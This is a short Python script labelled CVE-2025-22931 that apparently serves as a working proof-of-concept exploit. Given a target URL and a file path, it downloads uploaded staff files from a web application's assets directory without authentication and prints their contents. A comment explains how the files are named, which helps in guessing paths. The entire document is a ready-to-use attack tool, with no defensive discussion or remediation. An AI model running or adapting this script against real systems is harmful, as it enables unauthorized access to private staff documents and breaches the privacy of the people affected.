# CVE-2025-22931

import requests
import sys


if len(sys.argv) < 3:
    print("Usage: python CVE-2025-22931.py <url> <filepath>")
    sys.exit(1)

base_url = sys.argv[1]
filepath = sys.argv[2] 

# setup session
session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0'})

# retrieve file (uploaded staff files saved in the format "<staff_id>-<filename>"
res = session.get(f'{base_url}/assets/stafffiles/{filepath}', allow_redirects=False)
print(res.text)